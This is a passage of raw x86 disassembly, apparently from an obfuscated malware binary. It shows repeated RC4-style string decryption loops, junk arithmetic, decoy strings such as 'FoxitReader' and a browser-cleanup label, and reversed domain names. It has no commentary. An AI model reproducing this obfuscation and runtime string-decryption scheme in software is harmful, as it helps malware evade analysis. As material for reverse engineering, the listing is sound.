add ecx, eax
movzx eax, cl
mov ecx, dword [0x1003eba8]
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + esi - 0x208], al
mov eax, str.SYSTEMCurrentControlSetControlFileSystem
push eax
push str.ProgramDeactivator_items:__d
mov edx, eax
call fcn.10004106
xor edi, edi
cmp byte [str.app.browsercleanup.RemoveAllBadAddonsDirect], 0
pop ecx
pop ecx
mov dword [ebp - 0x18], edi
je 0x10007540
mov edi, dword [0x1003eba8]
mov esi, dword [ebp - 0x18]
and edi, 0x16c7c55c
mov eax, dword [ebp - 0xc]
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
push ecx
mov edx, ecx
mov ecx, eax
push str.ProgramDeactivator_items:__d
call fcn.10004106
inc esi
mov eax, edi
pop ecx
pop ecx
cmp byte [esi + str.app.browsercleanup.RemoveAllBadAddonsDirect], 0
jne 0x10007512
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
call fcn.100052fe
cmp edi, 0x13df
jne 0x10007559
imul eax, dword [ebp - 0xc], 0xf25ba8ab
mov dword [ebp - 0xc], eax
jmp 0x1000756e
mov eax, str.ProgramDeactivator_items:__d
mov edx, eax
mov ecx, eax
call fcn.10004c6d
add dword [ebp - 0xc], 0xdf974acf
mov edi, dword [ebp - 0x14]
inc esi
mov al, byte [ebp - 1]
mov dword [ebp - 8], esi
mov byte [ebp + edi - 0x208], al
cmp esi, 0x100
jb 0x100074a7
mov edi, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, eax
mov esi, eax
xor edi, 0xb83bda8f
lea eax, [ecx + 1]
add edi, 0xdf97bd4b
movzx eax, al
mov dword [ebp - 8], eax
mov cl, byte [ebp + eax - 0x208]
mov eax, dword [ebp - 0x18]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 8]
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edx - 0x208], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x208], cl
mov ecx, edx
movzx eax, byte [ebp + ecx - 0x208]
add eax, dword [ebp - 0x7c]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0xec]
mov byte [ebp + esi - 0x2c0], al
inc esi
cmp esi, 0xc
jb 0x1000759d
push 0x2a
pop eax
mov dword [0x1003ec08], edi
mov esi, str.FDICT_bit_set_in_flate_stream
push 7
pop ecx
lea edi, [ebp - 0xfc]
mov byte [ebp - 0x63], al
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x5d], al
mov eax, str.ProgramDeactivator_items:__d
push eax
mov ecx, eax
mov byte [ebp - 0x2b4], 0
mov byte [ebp - 0x64], 0x3d
mov dword [ebp - 0x62], 0x52369286
mov byte [ebp - 0x5e], 0x52
mov dword [ebp - 0x5c], 0x298eceb8
mov word [ebp - 0x58], 0xbed3
mov byte [ebp - 0x56], 0x87
movsw word es:[edi], word [esi]
call fcn.10005ac3
pop ecx
xor esi, esi
mov edi, str.SYSTEMCurrentControlSetControlFileSystem
mov ecx, edi
call fcn.10005468
mov eax, dword [0x1003eba8]
add eax, 0x9d7d0e14
inc esi
mov dword [0x1003ec08], eax
xor eax, eax
cmp word [esi*2 + str.SYSTEMCurrentControlSetControlFileSystem], ax
jne 0x10007667
mov ecx, edi
call fcn.10005468
cmp dword [ebp - 0x7c], esi
jae 0x100076b9
mov edi, dword [0x1003ed28]
xor edi, 0xd4231ae4
sub esi, dword [ebp - 0x7c]
mov dword [ebp - 0xc], edi
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.10004630
sub esi, 1
jne 0x100076a8
jmp 0x100076c2
mov edi, dword [0x1003eba8]
mov dword [ebp - 0xc], edi
call fcn.10005880
xor eax, eax
mov esi, eax
mov ecx, eax
mov byte [ebp + ecx - 0x208], cl
inc ecx
cmp ecx, 0x100
jb 0x100076cd
mov ecx, eax
lea eax, [edi - 0x4a36a63d]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x34], eax
mov al, byte [ebp + ecx - 0x208]
xor edx, edx
mov byte [ebp - 1], al
mov eax, ecx
push 0x1d
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
movzx eax, byte [ebp + edx - 0xfc]
add eax, esi
add ecx, eax
movzx eax, cl
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
mov dword [ebp - 0x7c], eax
call fcn.10004630
push 6
pop ecx
push 0x46
mov esi, str.EnumLanguages___failed.
lea edi, [ebp - 0x54]
pop eax
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x54], al
jne 0x10007752
xor esi, esi
test al, al
je 0x10007752
cmp byte [ebp + esi - 0x54], 0
je 0x10007752
call fcn.10005d87
mov al, byte [esi + 0x10031bb5]
inc esi
cmp al, byte [ebp + esi - 0x54]
je 0x10007735
mov esi, dword [ebp - 0x7c]
mov ecx, dword [ebp - 8]
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + ecx - 0x208], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x208], al
mov dword [ebp - 8], ecx
cmp ecx, 0x100
jb 0x100076eb
mov edi, dword [0x1003ec08]
xor eax, eax
mov esi, eax
mov dword [ebp - 0x38], eax
mov edx, eax
jmp 0x10007794
mov edi, dword [ebp - 0x10]
lea eax, [edx + 1]
movzx edx, al
mov dword [ebp - 0x14], edx
mov cl, byte [ebp + edx - 0x208]
movzx eax, cl
mov dword [ebp - 0x3c], eax
add eax, esi
movzx esi, al
mov dword [ebp - 0x18], esi
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + edx - 0x208], al
mov byte [ebp + esi - 0x208], cl
call fcn.10005059
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov esi, edx
push ecx
push ecx
call fcn.10004af5
add esp, 8
add edi, 0x43b75a19
inc esi
cmp word [esi*2 + str.ProgramDeactivator_items:__d], dx
jne 0x100077d3
push ecx
push ecx
mov edx, edi
mov dword [ebp - 0x10], edi
call fcn.10005ab7
mov eax, dword [ebp - 0xc]
add esp, 8
cmp dword [ebp - 0x7c], esi
jae 0x10007811
lea ecx, [eax + 0x4fef3f6f]
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x34], ecx
push ecx
mov ecx, eax
call fcn.10005d78
mov edi, dword [ebp - 0x34]
xor edx, edx
pop ecx
mov ecx, dword [ebp - 0x10]
mov esi, edx
xor edi, 0xafa3732f
call fcn.10003f58
inc esi
mov ecx, edi
cmp word [esi*2 + str.ProgramDeactivator_items:__d], dx
jne 0x1000782a
mov dword [ebp - 0x10], ecx
call fcn.10004828
mov eax, dword [ebp - 8]
cmp eax, esi
jae 0x1000786b
imul ecx, edi, 0x48be4f4a
mov dword [ebp - 0xc], ecx
cmp eax, 0x8b0
jne 0x10007863
call fcn.100056e8
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, esi
jb 0x10007854
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x18]
movzx eax, byte [ebp + edx - 0x208]
add eax, dword [ebp - 0x3c]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + ecx - 0x64]
mov byte [ebp + ecx - 0x254], al
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0xf
jb 0x10007791
xor eax, eax
mov dword [ebp - 0x70], 0x1362
mov byte [ebp - 0x245], al
mov ecx, eax
mov dword [ebp - 0x6c], 0x1cfa
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], 0x1486
mov dword [ebp - 0x60], 0x2f2
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
cmp ecx, 5
je 0x100078db
inc ecx
cmp ecx, 7
jl 0x100078d0
mov eax, dword [ebp + ecx*4 - 0x70]
mov ecx, str.ProgramDeactivator_items:__d
mov dword [ebp - 0x220], eax
call fcn.10004630
mov esi, dword [ebp - 0x10]
xor edi, edi
push str.ProgramDeactivator_items:__d
mov edx, esi
call fcn.10004563
and esi, 0xd2ffa2a
inc edi
pop ecx
cmp byte [edi + str.FoxitReader], 0
jne 0x100078f4
mov dword [ebp - 0x10], esi
call fcn.10003d14
mov esi, dword [ebp - 0x78]
cmp esi, edi
jae 0x10007950
mov eax, dword [ebp - 0xc]
or eax, 0xa691b5ea
mov dword [ebp - 0x34], eax
cmp esi, 0x150e
jne 0x1000793d
imul eax, dword [ebp - 0x10], 0x46d83fd
mov dword [ebp - 0x10], eax
mov eax, str.ProgramDeactivator_items:__d
mov edx, eax
mov ecx, eax
call fcn.10004c6d
inc esi
cmp esi, edi
jb 0x1000792b
mov edx, 0xd2
mov dword [ebp - 0xc0], 0x25e5
xor eax, eax
mov dword [ebp - 0xbc], edx
mov ecx, eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], 0x1fb8
mov dword [ebp - 0xb0], 0x2122
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], 0x1724
mov dword [ebp - 0x9c], 0x21b6
mov dword [ebp - 0x98], 0x13ba
mov dword [ebp - 0x94], 0x10e2
cmp ecx, 6
je 0x100079c8
inc ecx
cmp ecx, 0xc
jl 0x100079bd
mov ecx, dword [ebp + ecx*4 - 0xc0]
lea edi, [ebp - 0x60]
mov esi, str.Iotaafrican
mov dword [ebp - 0x48], 0xf3f3dc7a
xor ecx, 0xd3
mov dword [ebp - 0x44], 0xe3147075
mov dword [ebp - 0x224], ecx
mov ecx, eax
mov word [ebp - 0x40], 0x816d
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x3e], 0x34
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x10]
xor edi, 0xcbf172ba
sub edi, 0x1974b1f2
mov dword [ebp - 0x10], edi
mov dword [0x1003ec08], edi
mov byte [ebp + ecx - 0x208], cl
inc ecx
cmp ecx, 0x100
jb 0x10007a18
mov esi, eax
mov edi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x84]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x60]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x208], al
cmp esi, 0x100
jb 0x10007a2c
mov edi, dword [ebp - 0x10]
xor ecx, ecx
mov esi, dword [ebp - 0x34]
mov edx, ecx
mov eax, ecx
mov dword [ebp - 0x14], ecx
jmp 0x10007a83
xor ecx, ecx
inc eax
mov dword [ebp - 0x84], ecx
movzx eax, al
or esi, 0x309e9ec9
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], esi
mov esi, str.pj.amatias.adusah
mov al, byte [ebp + eax - 0x208]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0xdc], eax
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
lea eax, [edi - 0x48238544]
lea edi, [ebp - 0x68]
xor eax, 0xbf124cd
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], eax
mov dword [0x1003eba8], eax
mov eax, ecx
mov cl, byte [str.pj.ufig.osihcih]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0x68]
jne 0x10007b00
test cl, cl
je 0x10007afa
cmp byte [ebp + eax - 0x68], 0
je 0x10007afa
mov cl, byte [eax + 0x1003ed51]
inc eax
cmp cl, byte [ebp + eax - 0x68]
je 0x10007ae2
mov dword [ebp - 0x84], eax
call fcn.100052fe
mov eax, dword [ebp - 0x84]
mov esi, dword [ebp - 0x7c]
cmp esi, eax
jae 0x10007b45
mov ecx, dword [ebp - 0x10]
cmp esi, 0x16a4
jne 0x10007b29
and ecx, 0x5d61612a
mov dword [0x1003ec08], ecx
mov edx, ecx
xor edx, 0xa3f11954
inc esi
mov dword [ebp - 0xc], edx
mov dword [0x1003eba8], edx
cmp esi, eax
jb 0x10007b15
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
lea edi, [ebp - 0xb0]
mov ecx, dword [ebp - 0x38]
mov esi, str.Bad_Filter_attribute_in_stream
push 8
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + ecx - 0x208], al
mov al, byte [str.app.browsercleanup.RemoveAllBadAddonsDirect]
pop ecx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp al, byte [ebp - 0xb0]
jne 0x10007ba6
xor esi, esi
test al, al
je 0x10007ba6
cmp byte [ebp + esi - 0xb0], 0
je 0x10007ba6
mov edx, str.pj.ufig.osihcih
mov ecx, str.app.browsercleanup.RemoveAllBadAddonsDirect
call fcn.100043c9
mov al, byte [esi + 0x1003ec91]
inc esi
cmp al, byte [ebp + esi - 0xb0]
je 0x10007b79
push 5
pop ecx
mov esi, str.on.ladgnyl
lea edi, [ebp - 0xf4]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push 0x53
pop ecx
mov edx, eax
movsw word es:[edi], word [esi]
mov dword [ebp - 0x18], edx
cmp cx, word [ebp - 0xf4]
jne 0x10007bfb
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x10007bf8
cmp word [ebp + ecx - 0xf4], ax
je 0x10007bf8
mov ecx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x18], ecx
add ecx, ecx
movzx edx, word [ecx + str.SYSTEMCurrentControlSetControlFileSystem]
cmp dx, word [ebp + ecx - 0xf4]
je 0x10007bcf
mov edx, dword [ebp - 0x18]
movzx eax, byte [ebp + edx*2 - 0xf4]
movzx ecx, byte [edx*2 + str.SYSTEMCurrentControlSetControlFileSystem]
sub ecx, eax
cmp ecx, 0x85d
jae 0x10007c2c
mov eax, dword [ebp - 0xc]
or eax, 0xdae067f9
mov dword [ebp - 0xc], eax
mov dword [0x1003eba8], eax
call fcn.10005880
jmp 0x10007c4b
mov edi, dword [ebp - 0xc]
push ecx
or edi, 0x218453b8
push ecx
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x10], edi
mov dword [0x1003ec08], edi
call fcn.10004af5
add esp, 8
mov edi, dword [ebp - 0x34]
xor esi, esi
mov edx, str.SYSTEMCurrentControlSetControlFileSystem
mov ecx, str.ProgramDeactivator_items:__d
call fcn.10004c6d
sub edi, 0x10abe18b
inc esi
cmp byte [esi + str.FoxitReader], 0
jne 0x10007c50
mov edx, str.app.browsercleanup.RemoveAllBadAddonsDirect
mov dword [ebp - 0x34], edi
mov ecx, str.FoxitReader
call fcn.100043c9
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x10]
cmp ecx, esi
jae 0x10007cec
mov eax, dword [ebp - 0xc]
cmp ecx, 0x2453
jne 0x10007caf
sub eax, 0x4ded69cd
mov edx, str.ProgramDeactivator_items:__d
mov ecx, str.FoxitReader
mov dword [0x1003eba8], eax
call fcn.10004924
xor edi, 0xb865db80
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
mov dword [0x1003ed28], edi
call fcn.10005468
mov ecx, dword [ebp - 0x3c]
mov edi, dword [0x1003ec08]
inc ecx
mov eax, dword [0x1003eba8]
mov dword [ebp - 0x3c], ecx
cmp ecx, esi
jb 0x10007c8e
mov esi, dword [0x1003ed28]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
jmp 0x10007cef
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov edx, dword [ebp - 0x14]
push 0xb
mov byte [ebp + eax - 0x208], cl
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x208]
add eax, dword [ebp - 0xdc]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + edx - 0x48]
mov byte [ebp + edx - 0x290], al
inc edx
pop eax
cmp edx, eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 8]
jb 0x10007a81
mov byte [ebp - 0x285], 0
call fcn.10003d14
mov cl, byte [str.pj.ufig.osihcih]
lea edi, [ebp - 0x48]
mov esi, str.animating
xor eax, eax
mov dword [ebp - 8], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0x48]
jne 0x10007dd8
test cl, cl
je 0x10007d8e
cmp byte [ebp + eax - 0x48], 0
je 0x10007d8e
mov eax, str.pj.ufig.osihcih
mov edx, eax
mov ecx, eax
call fcn.100043c9
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov cl, byte [eax + str.pj.ufig.osihcih]
cmp cl, byte [ebp + eax - 0x48]
je 0x10007d62
mov edi, dword [ebp - 0x78]
cmp edi, eax
jae 0x10007dd8
mov esi, dword [ebp - 8]
call fcn.10003f79
cmp edi, 0x2462
jne 0x10007dba
mov eax, dword [ebp - 0xc]
or eax, 0xc1adc170
mov dword [ebp - 0x10], eax
mov dword [0x1003ec08], eax
call fcn.10005059
imul eax, dword [ebp - 0x34], 0x75015490
mov edx, str.pj.ufig.osihcih
mov ecx, str.ProgramDeactivator_items:__d
mov dword [ebp - 0x34], eax
call fcn.10004ecb
inc edi
cmp edi, esi
jb 0x10007d98
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov esi, edx
call fcn.10003f58
xor eax, eax
mov dword [ebp - 0x64], 0x16b9
inc eax
mov dword [ebp - 0x60], 0x1d93
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x5c], 0x1d25
mov dword [ebp - 0x58], 0x25b1
test esi, esi
je 0x10007e16
inc esi
cmp esi, 7
jl 0x10007e0c
mov eax, dword [ebp + esi*4 - 0x70]
lea edi, [ebp - 0xb4]
push 9
pop ecx
mov esi, str.._AVIIcarusEventsModule_icarus_asw__
mov dword [ebp - 0x20c], eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x48], 0xe66447cf
mov eax, edx
mov dword [ebp - 0x44], 0x48687fc9
mov dword [ebp - 0x40], 0x56981e40
movsb byte es:[edi], byte [esi]
mov esi, edx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x10007e4a
mov edi, edx
cmp byte [str.pj.ufig.osihcih], dl
je 0x10007eb1
mov ecx, dword [ebp - 0x34]
imul eax, ecx, 0x247d0ecd
mov dword [ebp - 0x10], eax
mov dword [0x1003ec08], eax
inc edi
cmp byte [edi + str.pj.ufig.osihcih], dl
jne 0x10007e74
mov esi, dword [ebp - 0x78]
cmp esi, edi
jae 0x10007eaf
push ecx
push ecx
call fcn.10004af5
add esp, 8
cmp esi, 0xb74
jne 0x10007ea8
mov edx, str.pj.ufig.osihcih
mov ecx, str.ProgramDeactivator_items:__d
call fcn.10004ecb
mov ecx, dword [ebp - 0x34]
inc esi
cmp esi, edi
jb 0x10007e84
xor edx, edx
mov esi, edx
imul eax, dword [ebp - 0x10], 0xa08bda9a
and dword [ebp - 0x34], 0xceb65e93
mov dword [ebp - 0x14], edx
mov dword [0x1003eba8], eax
mov cl, byte [ebp + edx - 0x208]
mov eax, edx
xor edx, edx
mov byte [ebp - 1], cl
div dword [ebp - 0x80]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xb4]
add eax, esi
add ecx, eax
movzx eax, cl
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov esi, ecx
mov eax, dword [ebp - 0x34]
or eax, 0xbe436d53
inc esi
mov dword [0x1003ed28], eax
cmp byte [esi + str.FoxitReader], cl
jne 0x10007ef4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 8], esi
jae 0x10007f5f
mov edi, str.SYSTEMCurrentControlSetControlFileSystem
mov ecx, edi
call fcn.10005468
mov eax, dword [ebp - 8]
mov ecx, dword [0x1003ed28]
mov dword [ebp - 0x34], ecx
cmp eax, 0x186a
jne 0x10007f40
push str.ProgramDeactivator_items:__d
push edi
mov edx, edi
call fcn.10004106
mov eax, dword [ebp - 8]
pop ecx
pop ecx
mov edi, dword [0x1003eba8]
or edi, 0x95a2fdcf
inc eax
mov dword [ebp - 0x10], edi
mov dword [0x1003ec08], edi
mov dword [ebp - 8], eax
cmp eax, esi
jb 0x10007f0f
xor ecx, ecx
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + edx - 0x208], al
inc edx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x208], al
mov dword [ebp - 0x14], edx
cmp edx, 0x100
jb 0x10007ec7
mov dword [ebp - 8], ecx
mov edi, ecx
mov esi, ecx
mov eax, dword [ebp - 0x34]
add eax, 0x71a09a98
mov dword [ebp - 0x34], eax
mov dword [0x1003ed28], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 8]
push str.ProgramDeactivator_items:__d
mov cl, byte [ebp + edi - 0x208]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x208], cl
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
movzx eax, byte [ebp + edi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
mov byte [ebp - 1], al
call fcn.10005ac3
mov eax, dword [ebp - 0x34]
add eax, 0x2131b71f
mov dword [ebp - 0xc], eax
mov dword [0x1003eba8], eax
mov al, byte [ebp + esi - 0x48]
xor al, byte [ebp - 1]
mov byte [ebp + esi - 0x2e0], al
inc esi
pop ecx
cmp esi, 0xc
jb 0x10007f94
mov edx, dword [ebp - 0x10]
mov ecx, str.ProgramDeactivator_items:__d
call fcn.100050f8
mov al, byte [str.pj.ufig.osihcih]
lea edi, [ebp - 0x74]
push 7
pop ecx
mov esi, str.._AVAvBehav_PropertySlider__
mov byte [ebp - 0x30], al
rep movsd dword es:[edi], dword [esi]
xor edx, edx
movsb byte es:[edi], byte [esi]
cmp al, byte [ebp - 0x74]
jmp 0x10008077
test al, al
je 0x1000807c
cmp byte [ebp + edx - 0x74], 0
je 0x1000807c
mov eax, str.ProgramDeactivator_items:__d
mov edx, eax
mov ecx, eax
call fcn.10004c6d
mov edx, dword [ebp - 0x14]
inc edx
mov al, byte [edx + str.pj.ufig.osihcih]
cmp al, byte [ebp + edx - 0x74]
mov dword [ebp - 0x14], edx
je 0x10008050
push ecx
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.10004af5
movzx ecx, byte [edx + str.pj.ufig.osihcih]
add esp, 8
movzx eax, byte [ebp + edx - 0x74]
sub ecx, eax
cmp ecx, 0x1f66
jae 0x100080b4
mov edx, dword [ebp - 0x34]
push ecx
push ecx
xor edx, 0x2d696aaf
call fcn.10005ab7
add esp, 8
jmp 0x100080b9
call fcn.10003f79
mov eax, dword [ebp - 0xc]
lea edi, [ebp - 0xf4]
push 0xa
pop ecx
and eax, 0x928f662f
mov byte [ebp - 0x44], cl
push 5
pop ecx
mov esi, str.Esdescendercyrillic
mov dword [ebp - 0xc], eax
mov dword [0x1003ec08], eax
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2d4], al
mov esi, eax
mov dword [ebp - 0x48], 0x48e0668e
mov ecx, eax
mov dword [ebp - 0x43], 0x8585b4d5
mov word [ebp - 0x3f], 0x3050
mov byte [ebp - 0x3d], 0x69
mov byte [ebp + ecx - 0x208], cl
inc ecx
cmp ecx, 0x100
jb 0x10008103
mov ecx, eax
mov dword [ebp - 0x14], eax
mov al, byte [ebp + ecx - 0x208]
lea edi, [ebp - 0x68]
mov byte [ebp - 1], al
xor edx, edx
mov eax, ecx
push 0x13
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
push 5
movzx eax, byte [ebp + edx - 0xf4]
add eax, esi
mov esi, str.Windows_Server_2016
add ecx, eax
movzx eax, cl
pop ecx
rep movsd dword es:[edi], dword [esi]
mov cl, byte [ebp - 0x30]
mov dword [ebp - 0x80], eax
xor eax, eax
mov dword [ebp - 8], eax
cmp cl, byte [ebp - 0x68]
jne 0x10008186
mov edx, dword [ebp - 0xc]
test cl, cl
je 0x10008186
cmp byte [ebp + eax - 0x68], 0
je 0x10008186
push ecx
push ecx
call fcn.10005ab7
mov eax, dword [ebp - 8]
add esp, 8
inc eax
mov dword [ebp - 8], eax
mov cl, byte [eax + str.pj.ufig.osihcih]
cmp cl, byte [ebp + eax - 0x68]
je 0x1000815e
mov ecx, str.ProgramDeactivator_items:__d
call fcn.10005468
mov eax, dword [0x1003ec08]
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [0x1003ed28]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x38], esi
jae 0x10008208
mov edi, dword [0x1003eba8]
mov edx, str.SYSTEMCurrentControlSetControlFileSystem
mov ecx, str.app.browsercleanup.RemoveAllBadAddonsDirect
call fcn.10004924
cmp dword [ebp - 0x38], 0xd18
jne 0x100081d6
mov eax, dword [ebp - 0xc]
xor eax, 0x7e313765
mov dword [ebp - 0x10], eax
mov dword [0x1003ed28], eax
imul edi, edi, 0x7c711bf5
mov eax, str.SYSTEMCurrentControlSetControlFileSystem
push str.ProgramDeactivator_items:__d
push eax
mov edx, eax
mov ecx, edi
mov dword [0x1003eba8], edi
call fcn.10004106
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
pop ecx
pop ecx
cmp eax, esi
jb 0x100081ae
mov dword [ebp - 8], edi
jmp 0x10008210
mov eax, dword [0x1003eba8]
mov dword [ebp - 8], eax
mov esi, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x14]
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + ecx - 0x208], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x208], al
mov dword [ebp - 0x14], ecx
cmp ecx, 0x100
jae 0x10008247
mov al, byte [str.pj.ufig.osihcih]
mov byte [ebp - 0x30], al
jmp 0x10008118
xor eax, eax
mov esi, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov al, byte [str.app.browsercleanup.RemoveAllBadAddonsDirect]
mov byte [ebp - 0x30], al
lea eax, [edx + 1]
movzx eax, al
mov dword [ebp - 0x7c], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x3c], eax
add eax, esi
movzx eax, al
mov dword [ebp - 0xdc], eax
call fcn.10005d87
mov al, byte [ebp - 0x30]
lea edi, [ebp - 0xc0]
push 0xc
pop ecx
mov esi, str.Length_of_desired_password_is_greater_than_255.
rep movsd dword es:[edi], dword [esi]
cmp al, byte [ebp - 0xc0]
jne 0x100082c9
xor edx, edx
test al, al
je 0x100082c9
cmp byte [ebp + edx - 0xc0], 0
je 0x100082c9
push ecx
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.10004af5
mov al, byte [edx + 0x1003ec91]
add esp, 8
inc edx
cmp al, byte [ebp + edx - 0xc0]
je 0x1000829e
mov edx, dword [ebp - 8]
mov edi, str.SYSTEMCurrentControlSetControlFileSystem
mov ecx, edi
call fcn.100050f8
xor esi, esi
cmp byte [ebp - 0x30], 0
je 0x10008305
mov ecx, dword [ebp - 0x10]
mov eax, ecx
and eax, 0x1bf8fae2
mov dword [ebp - 8], eax
push edi
push edi
mov edx, edi
call fcn.10004106
inc esi
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
cmp byte [esi + str.app.browsercleanup.RemoveAllBadAddonsDirect], 0
jne 0x100082ed
call fcn.10003f79
mov edi, dword [ebp - 0x80]
cmp edi, esi
jae 0x10008349
call fcn.100056e8
cmp edi, 0x473
jne 0x10008327
imul eax, dword [ebp - 0xc], 0x7ad64a54
jmp 0x1000832a
mov eax, dword [ebp - 0xc]
and eax, 0x2dac4f75
mov edx, str.pj.ufig.osihcih
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
mov dword [ebp - 0xc], eax
call fcn.10004ecb
inc edi
cmp edi, esi
jb 0x10008311
mov dword [ebp - 0x80], edi
mov esi, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x14]
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + edx - 0x208], al
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x208], al
movzx eax, byte [ebp + edx - 0x208]
add eax, dword [ebp - 0x3c]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + ecx - 0x48]
mov byte [ebp + ecx - 0x2d0], al
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0xc
jb 0x10008258
mov byte [ebp - 0x2c4], 0
call fcn.10005880
mov cl, byte [str.pj.ufig.osihcih]
lea edi, [ebp - 0x68]
mov esi, str.gro.nafsniurb_a_si
xor eax, eax
mov dword [ebp - 0x14], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0x68]
jne 0x100083e0
test cl, cl
je 0x100083dd
cmp byte [ebp + eax - 0x68], 0
je 0x100083dd
mov cl, byte [eax + 0x1003ed51]
inc eax
cmp cl, byte [ebp + eax - 0x68]
